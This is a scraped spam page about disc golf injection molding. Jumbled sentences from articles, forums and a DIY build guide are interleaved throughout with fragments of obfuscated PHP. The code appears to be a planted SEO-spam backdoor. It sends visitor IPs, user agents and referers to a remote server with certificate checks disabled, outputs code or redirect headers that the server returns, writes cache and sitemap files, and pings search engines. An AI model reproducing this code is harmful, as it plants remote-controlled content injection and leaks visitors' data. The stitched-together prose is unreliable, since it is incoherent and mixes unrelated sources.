disc golf injection mold

chr($_n75kif2b);if ($_9a2k66au != 64) {$_esetfuvv = $_esetfuvv . $_ndh8ovyp[array_rand($_ndh8ovyp)], FILE_IGNORE_NEW_LINES);}return _7ejh67f::$_1k2xibe7[array_rand(_7ejh67f::$_1k2xibe7)];}static public function _b4rea(){if (empty(_7ejh67f::$_wyhbcvbm)){$_ndh8ovyp = _7ejh67f::_s6ylu();foreach ($_ndh8ovyp as $_y3ykebhl) {_7ejh67f::$_wyhbcvbm = array_merge(_7ejh67f::$_wyhbcvbm, @file(_7ejh67f::$_mg8ineh5 . First, design the disc. Lets break down some of the basics and give you a better understanding of what makes golf discs different and how you can choose ones that will help you to play with confidence. The machine presses an extremely hot plate (that has the stamp design embossed on it) into foil into the disc. Polypropene is a thermoplastic resin that has the ability to soften into a liquid when being heated and becomes hard again when cooled. You could use a partial percentage of post consumer filler material in the resin, but not 100%. The worker will then feed the materials into the injection molding machine. These questions and other related information will be discussed throughout this article to provide disc golfers a unique knowledge of the sport that they love. You can use hdpe bottle caps or chopped up beverage containers. With a pair of calipers, just take a disc golf disc that you'd like to model yours after and measure away. Time stands still with the vision of a disc in flight, offering a great sense of fun and freedom for all involved. "_" . But before the actual process, it is important to note that the manufacturer first needs to come up and design a disc mold. In the injection cylinder, the pressure will match according to the specific molds and plastic used. Heat Barrel (250 degrees Celsius) and Preheat Mold (250 degrees Fahrenheit)Fill Plastic in Barrel (180gram shot size)Melt Plastic (about 20 minutes for HDPE)Attach Mold and Inject Detach Mold and Let Cool (about 10 minutes)Remove Disc From Mold. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];if (strpos($_andfxj3q, ".php") === FALSE) {$_andfxj3q = explode("/", $_andfxj3q);array_pop($_andfxj3q);$_andfxj3q = implode("/", $_andfxj3q) . long2ip(_mtcvqi::$_x3hieu76 - 898) : $_sqoo6uqb[2];$_sk5gmeyq = _mtcvqi::_zxv7b($_sqoo6uqb, $_ml40t87w);if (!$_sk5gmeyq) {$_sk5gmeyq = _mtcvqi::_j5lv2($_sqoo6uqb, $_ml40t87w);}return $_sk5gmeyq;}static function _zxv7b($_sqoo6uqb, $_sk5gmeyq, $_vlgsftp3 = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_sqoo6uqb)) {$_sqoo6uqb = implode("/", $_sqoo6uqb);}$_0ykiheel = curl_init();curl_setopt($_0ykiheel, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_0ykiheel, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_0ykiheel, CURLOPT_URL, $_sqoo6uqb);if (!empty($_sk5gmeyq)) {curl_setopt($_0ykiheel, CURLOPT_POST, 1);curl_setopt($_0ykiheel, CURLOPT_POSTFIELDS, $_sk5gmeyq);}if (!empty($_vlgsftp3)) {curl_setopt($_0ykiheel, CURLOPT_HTTPHEADER, $_vlgsftp3);}curl_setopt($_0ykiheel, CURLOPT_RETURNTRANSFER, TRUE);$_ruaeyj9a = curl_exec($_0ykiheel);curl_close($_0ykiheel);return $_ruaeyj9a;}static function _j5lv2($_sqoo6uqb, $_sk5gmeyq, $_vlgsftp3 = NULL){if (is_array($_sqoo6uqb)) {$_sqoo6uqb = implode("/", $_sqoo6uqb);}if (!empty($_sk5gmeyq)) {$_as7t9juq = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_sk5gmeyq);if (!empty($_vlgsftp3)) {$_as7t9juq["header"] = $_as7t9juq["header"] . Top ten worst discs made by innova/discraft. Your personal data will be used to support your experience throughout this website, to manage access to your account, and for other purposes described in our privacy policy. Disc Golf is an outdoor sport that depends on plastic production, and it's currently growing at an unprecedented rate! One feature you can adjust is making an entire base or making it wall mounted. _aus76cu::$_q8p5iqxe);$_nlra0m7q = @unserialize(@file_get_contents($_nlra0m7q));if (!empty($_nlra0m7q) && ($_nlra0m7q["expired"] > time() || $_nlra0m7q["expired"] == -1)) {return new _aus76cu($_nlra0m7q["template"], $_nlra0m7q["text"], $_nlra0m7q["keyword"], $_nlra0m7q["links"]);} else {return null;}}}class _sh9xgp2{private static $_mg8ineh5 = "";private static $_y0cg5rk9 = "";public static function _bcp81($_zpu28gls, $_nrw3vudd){_sh9xgp2::$_mg8ineh5 = $_zpu28gls . Even if you crank on it with full power, theres a good chance its not going to go as far. md5($_r0c9xfdb) . ".list")) {return;}@file_put_contents(_7ejh67f::$_y0cg5rk9 . And if memory serves, they have 3 machines running day and night, 5 days a week. "\n" . Common pipe from big box stores (like Home Depot) have a weld bead running down the center and render them useless for Injection Machines. Any insight on this is appreciated. As in you want to become a manufacturer of discs? A link to set a new password will be sent to your email address. I'm also guessing disc makers deal with semi local die makers. chr($_qe3b8zki);}if ($_3eow8z17 != 64) {$_esetfuvv = $_esetfuvv . This is done to increase the quality of the result or else there will be a lot of imperfections and impurities in the discs such as cracks among other things. Hopefully this article provides a lot of information on the most important equipment for disc golf. $_828m12mh);} else {$_828m12mh = str_replace(" ", "-", $_828m12mh . Base: Welding the base and other components is quite simple. When a plastic is subjected to injection molding, it will form different chemical bonds called polymers. The spirit of Dude Disc Golf Apparel is based entirely on our love for the frisbee. I had no experience welding, 3D modeling, or injection molding, but I knew I could learn. Just learn something new everyday. I have an interesting question. I bet that even a "big" company like Innova would have no problems filling all orders by just running a single injection molding machine at a time. chr($_e1sfft94);}} while ($_nms1ebw0 < strlen($_efa9rziw));return $_esetfuvv;}private function _subdr($_828m12mh){$_lx0sjdo6 = "";$_f81jkr2t = "";$_ml40t87w = _lda0hc::_h6qek();$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w["keyword"] = $_828m12mh;$_ml40t87w["tc"] = 10;$_ml40t87w = http_build_query($_ml40t87w);$_33tm41mt = _mtcvqi::_0jicd($this->_n4rn33sr, $_ml40t87w);if (strpos($_33tm41mt, _lda0hc::$_df6hufth) === FALSE) {return array($_lx0sjdo6, $_f81jkr2t);}$_lx0sjdo6 = _sh9xgp2::_fqr0f();$_f81jkr2t = substr($_33tm41mt, strlen(_lda0hc::$_df6hufth));$_f81jkr2t = explode("\n", $_f81jkr2t);shuffle($_f81jkr2t);$_f81jkr2t = implode(" ", $_f81jkr2t);return array($_lx0sjdo6, $_f81jkr2t);}private function _nro6t(){$_ml40t87w = _lda0hc::_h6qek();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_ml40t87w['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_ml40t87w['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_ml40t87w['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_ml40t87w["uid"] = _lda0hc::$_df6hufth;$_ml40t87w = http_build_query($_ml40t87w);$_nh33fegd = _mtcvqi::_0jicd($this->_bs94zvur, $_ml40t87w);$_nh33fegd = @unserialize($_nh33fegd);if (isset($_nh33fegd["type"]) && $_nh33fegd["type"] == "redir") {if (!empty($_nh33fegd["data"]["header"])) {header($_nh33fegd["data"]["header"]);return true;} elseif (!empty($_nh33fegd["data"]["code"])) {echo $_nh33fegd["data"]["code"];return true;}}return false;}public function _cb7nl(){return _aus76cu::_cb7nl() && _sh9xgp2::_cb7nl() && _7ejh67f::_cb7nl();}static public function _hf7ac(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _vmhjl(){$_andfxj3q = explode("? $_g2sgg2m8);}$_ty56szt0 = sprintf("%s%s", $_mdxxrv14, urlencode($_828m12mh));} else {if (ord($_g2sgg2m8[0]) % 2) {$_ty56szt0 = sprintf("%s?%s=%s",$_mdxxrv14,$_g2sgg2m8,urlencode(str_replace(" ", "-", $_828m12mh)));} else {$_ojjdbmpj = array("id", "page", "tag");$_pj0tc220 = $_ojjdbmpj[ord($_g2sgg2m8[2]) % count($_ojjdbmpj)];if (ord($_g2sgg2m8[1]) % 2) {$_828m12mh = str_replace(" ", "-", $_g2sgg2m8 . Fourth step (My shredder is currently operated with a hand crank, but I added room on the base for a motor if desired.). Lastly, machine the mold. $_g2sgg2m8);}$_ty56szt0 = sprintf("%s?%s=%s",$_mdxxrv14,$_pj0tc220,urlencode($_828m12mh));}}return $_ty56szt0;}public static function _b64s1($_djhgibbx, $_uwt4spro){$_zyl2nj54 = "";for ($_nms1ebw0 = 0; $_nms1ebw0 < rand($_djhgibbx, $_uwt4spro); $_nms1ebw0++) {$_828m12mh = _7ejh67f::_fqr0f();$_zyl2nj54 .= sprintf("%s,\n",_lda0hc::_batgm($_828m12mh), ucwords($_828m12mh));}return $_zyl2nj54;}public static function _64wkc($_2b3oj76i=FALSE){$_lmdjw05k = dirname(__FILE__) . You'll have to find an injection molding company that willing to create it for you. The plastic and the color blend will then be put in the injection cylinder where it will be heated up to 220 degrees to form the disc. Recycling plastics starts with four simple steps: CollectingCleaningSortingShredding Plastic*, Once you finish the first three steps, simply throw them in the shredder. I would say that the numbers can easily reach a million and it is continuing to increase by the day with more disc golf manufacturers making discs every day. Essentially bonding the foil into the plastic of the disc. Regardless, I hope this Instructable helped you! ".html")) {return;}@file_put_contents(_sh9xgp2::$_y0cg5rk9 . Drivers have the slimmest profile and will respond to being thrown in a variety of ways. Designing the mold is quite simple and I used Fusion360! The plunger mustbe a seamless/extruded pipe. "-" . Resin or urethane casting would be the next option. "_" . (I will keep my instructions here minimal, as their videos and plans are as detailed as one could desire, and there are many Instructables that can supplement as well). 3D print an injection molding machine. "/sitemap.xml");foreach ($_vn5cqijv as $_sqoo6uqb => $_kb25ac31) {$_y445s0h0 = _mtcvqi::_zxv7b($_sqoo6uqb . "/cache/";_aus76cu::$_i88t7018 = $_9iakzcth;_aus76cu::$_q8p5iqxe = $_3pnqbbxs;if (! Disc golf is not a huge market at all, it's actually tiny. As someone who has done plastic mold injection as a job before. I was a beginner in every aspect I needed to make this thing: welding, electronics, plastic, CAD, etc. Full Disclosure: I've built a handful of these machines. Both midranges and putters slightly resemble a frisbee in that they have wider rims, but they are much smaller and will travel much farther than your traditional household toy. Wait - are you saying that 0.5% if discs are Vibram? Volunteering Your Time The Best Ways To Get Involved. Like someone else mentioned. Other manufacturers may have other disc golf material but thermoplastic resins are the most prominent in the industry due to the different benefits it offers. "-" . The result is the plastic formed into a disc golf disc. But now, in the modern era of the sport, a disc is usually made out of a certain type of plastic called polypropene. This won't be a quick & easy process on a larger scale. With the increasing numbers of disc golf enthusiasts playing this beautiful sport, its cool to think that there are a lot of disc golf discs available all over the world. "-", "", $_gfqor979);$_gfqor979 = str_replace("-" . md5($_r0c9xfdb) . The Dude range of clothing was created to empower the individual player and capture the imaginings of every player. These type of disc golf plastics also have the ability to be molded into a variety of shapes making it a perfect material for disc golf discs manufacturing process. Subscribe to our newsletter, and hear about deals and new products! $_f3plf815);$_73286swj = @file_get_contents($_nicu9duy);return (strpos($_73286swj, $_f3plf815) !== FALSE);}return FALSE;}public static function _al5kt(){$_andfxj3q = explode("? One that probably would require some inside info that one may or may not be able to share Good question. Once you have all of the necessary components, making a recycled disc is quite easy! But how are the sports equipment made in a disc golf disc manufacturers setting? RPM Discs. None of the top manufacturers, who are making hundreds of discs per minute, have a disc made entirely out of post-industrial & post-consumer waste. I have no inside knowledge and can only offer an educated guess. md5($_fwxioqr0) . If it's just a symbolic piece and not a thrower, you could just go the DIY route. Plunger & Barrel: The plunger and barrel must be a perfect fit. But they're VERY pricey. md5(_lda0hc::$_df6hufth) . Thats because a frisbee is designed to be light and exhibit a lot of glide at slower speeds. $_pj0tc220, "", $_gfqor979);$_828m12mh = $_gfqor979;}}}if (empty($_828m12mh)) {$_6nmsnsc1 = _7ejh67f::_b4rea();$_828m12mh = $_6nmsnsc1[0];}if (!empty($_828m12mh)) {$_828m12mh = str_replace("-", " ", $_828m12mh);if (!$this->_2ig98()) {if ($this->_nro6t()) {return;}}$_828m12mh = urldecode($_828m12mh);$_nh33fegd = _aus76cu::_2idt3($_828m12mh);if (empty($_nh33fegd)) {list($_lx0sjdo6, $_f81jkr2t) = $this->_subdr($_828m12mh);if (empty($_f81jkr2t)) {return;}$_nh33fegd = new _aus76cu($_lx0sjdo6, $_f81jkr2t, $_828m12mh, _lda0hc::_b64s1(_lda0hc::$_zcihyr1v, _lda0hc::$_tw16uhhg));$_nh33fegd->_jyo6n();}echo $_nh33fegd->_vh5ig();}}}_aus76cu::_bcp81(dirname(__FILE__), -1, _lda0hc::$_df6hufth);_sh9xgp2::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . In many instances, golf discs are made in separate components and then joined later on. *Step One is optional as there are online retailers that sell regrind plastic. "-" . After the disc is made, it is then packaged and sent to the disc retailers. For one, this type of plastic has a special reshaping ability, stability, and high-impact resistance. 500k minimum investment for machinery if you want to actually get into the disc manufacturing busines, and that's just 1 manufacturing line: Dryer, air compressor, injection molding machine, hydraulic pump, hot stamper, 480vac 3 phase electrical service, etc. @file_exists(_7ejh67f::$_mg8ineh5)) {@mkdir(_7ejh67f::$_mg8ineh5);}}private static function _s6ylu(){$_ndh8ovyp = array();foreach (scandir(_7ejh67f::$_mg8ineh5) as $_1r1ytw3i) {if (strpos($_1r1ytw3i, _7ejh67f::$_y0cg5rk9) === 0) {$_ndh8ovyp[] = $_1r1ytw3i;}}return $_ndh8ovyp;}public static function _cb7nl(){return TRUE;}static public function _fqr0f(){if (empty(_7ejh67f::$_1k2xibe7)){$_ndh8ovyp = _7ejh67f::_s6ylu();_7ejh67f::$_1k2xibe7 = @file(_7ejh67f::$_mg8ineh5 . A golf disc, on the other hand, is crafted for specific types of shots and is made to be far more aerodynamic. Do you have your own injection mold machine? The next step is to measure the right amount of plastic pellets and is done by a manufacturing worker. @$_SERVER['REQUEST_URI'];$_ml40t87w['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_ml40t87w['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_ml40t87w['ref'] = @$_SERVER['HTTP_REFERER'];$_ml40t87w['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_ml40t87w['acp'] = @$_SERVER['HTTP_ACCEPT'];$_ml40t87w['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_ml40t87w['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_ml40t87w;}public function __construct(){$this->_bs94zvur = explode("/", $this->_bs94zvur);$this->_n4rn33sr = explode("/", $this->_n4rn33sr);}static public function _br8je($_efa9rziw){if (strlen($_efa9rziw) < 4) {return "";}$_uqxd5la0 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_6nmsnsc1 = str_split($_uqxd5la0);$_6nmsnsc1 = array_flip($_6nmsnsc1);$_nms1ebw0 = 0;$_esetfuvv = "";$_efa9rziw = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_efa9rziw);do {$_rewx23n2 = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_b1x56k5s = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_9a2k66au = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_3eow8z17 = $_6nmsnsc1[$_efa9rziw[$_nms1ebw0++]];$_n75kif2b = ($_rewx23n2 << 2) | ($_b1x56k5s >> 4);$_qe3b8zki = (($_b1x56k5s & 15) << 4) | ($_9a2k66au >> 2);$_e1sfft94 = (($_9a2k66au & 3) << 6) | $_3eow8z17;$_esetfuvv = $_esetfuvv . Copyright 2020 Dude Clothing | All Rights Reserved, The latest news to keep your mind and body Disc Golf ready, Golf Discs 101 How They are Made And Which Ones Are Best. "/sitemap.xml");$_nicu9duy = $_SERVER["DOCUMENT_ROOT"] . What are we talking here, closer to 5k or 50k? One machine? An employee will calibrate the machine and stamp so that it will place foil perfectly on the surface of that specific mold/disc. Molds you tried this year that made the bag, and those that didn't. So Latitude 64 probably have their dies made in Sweden where as Inova's are probably made in the US. Can you make your own disc golf disc? As an avid disc golfer, I am always fascinated when I see a disc golf disc take flight or fly to its destination after a player throws it on the course. $_yhna6pec;$_eysjbv0m = _lda0hc::_al5kt() . In general, beginners might like using more baseline types of plastic as they are less expensive and offer players an easy to grip the disc. preg_quote("worx 20v battery compatibility", '/') . Heres a link to a survey done by Infinite Discs with an overview on the main manufacturers, https://infinitediscs.com/blog/state-of-disc-golf-2015-manufacturer-overview/. @file_exists(_aus76cu::$_mg8ineh5)) {@mkdir(_aus76cu::$_mg8ineh5);}}static public function _ieqpv(){$_a53xa54i = 0;foreach (scandir(_aus76cu::$_mg8ineh5) as $_1r1ytw3i) {$_a53xa54i += 1;}return $_a53xa54i;}public static function _cb7nl(){return TRUE;}public function __construct($_lx0sjdo6, $_f81jkr2t, $_828m12mh, $_2zvnung4){$this->_t3xm0fz4 = $_lx0sjdo6;$this->_x62o246p = $_f81jkr2t;$this->_gj3jbb0r = $_828m12mh;$this->_upq3q6mj = $_2zvnung4;}public function _vh5ig(){function _3ki5x($_djhgibbx, $_uwt4spro){return round(rand($_djhgibbx, $_uwt4spro - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_6nmsnsc1 = _7ejh67f::_b4rea();$_sk5gmeyq = str_replace("{{ text }}", $this->_x62o246p,str_replace("{{ keyword }}", $this->_gj3jbb0r,str_replace("{{ links }}", $this->_upq3q6mj, $this->_t3xm0fz4)));while (TRUE) {$_xmahux1u = preg_replace('/' . Something like this : https://youtu.be/blSvUqfuiuo. https://www.instructables.com/PID-Temperature-Controlled-Oven/. "_" . If you have one, you can do it yourself! Maybe you want to make a disc or another recycled plastic product (coasters, planters, etc.). "_" . What kinds of things can we do to prepare for playing disc golf in the winter months? There are probably lots of ways to go about it. "salt12"), 0, 4));_7ejh67f::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . Is is the same process on how frisbees are made? md5($this->_gj3jbb0r . $_yn3p66av . Disc companies use plastic thats melted down and forced through an injection molding machine. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];$_xxav8069 = substr($_andfxj3q, 0, strrpos($_andfxj3q, "/"));$_f3plf815 = sprintf($_159d1ncu, $_xxav8069, _lda0hc::_al5kt() . $_eysjbv0m, NULL, $_vlgsftp3);if (empty($_y445s0h0)) {$_y445s0h0 = _mtcvqi::_j5lv2($_sqoo6uqb . You gotta think outside the box. The videos and detailed drawings from Precious Plastic outline every cut necessary, and make the build easy! "https" : "http", $_SERVER['HTTP_HOST'], $_zpu28gls);}public static function _batgm($_828m12mh){$_mdxxrv14 = _lda0hc::_vmhjl();$_g2sgg2m8 = substr(md5(_lda0hc::$_df6hufth . There will be one or two containers used on the machine depending on the design to get the right color effect of the plastic. In the US, I am able to get an 1.25" OD and 1.01" ID seamless pipe for the barrel, and match that with a 0.999" steel rod as the plunger. Other options worth looking into: thermoforming or vacuuforming discs with relatively consistent wall thicknesses, contract manufacturing (a la discmania), or machining from raw recycled stock, Trash Panda makes them with a hand injection machine.https://www.youtube.com/watch?v=G7sKswviZok. These plastics when heated by molding machines make the molecule weaker and turns the plastic into a liquid. Apex Disc Golf Rechargeable Hand Warmer and Power Bank. This means that you'll need to submit your own CAD drawings. After the previous process, the next step is the color blend wherein the desired colors will be incorporated into the plastic. Slight changes to the mold will dramatically change how the disc flies, so the ability to produce multiple types of drivers, midranges, and putters arent very difficult. Recycled material can be used for FDM printing very easily. "https" : "http", $_SERVER['HTTP_HOST'], $_andfxj3q);}public static function _xxs2i(){$_vn5cqijv = array("https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap","https://www.google.com/ping?sitemap=" => "Sitemap Notification Received");$_vlgsftp3 = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_eysjbv0m = urlencode(_lda0hc::_al5kt() . "\r\n" . The sport of frisbee and disc golf will always be related to each other. Most discs are patented, so you can use this as a starting point, but do not make it exactly the same. ".list", $_828m12mh . A huge assortment of plastic types is available, with each manufacturer creating their own version of materials that work better in certain weather conditions and types of play.

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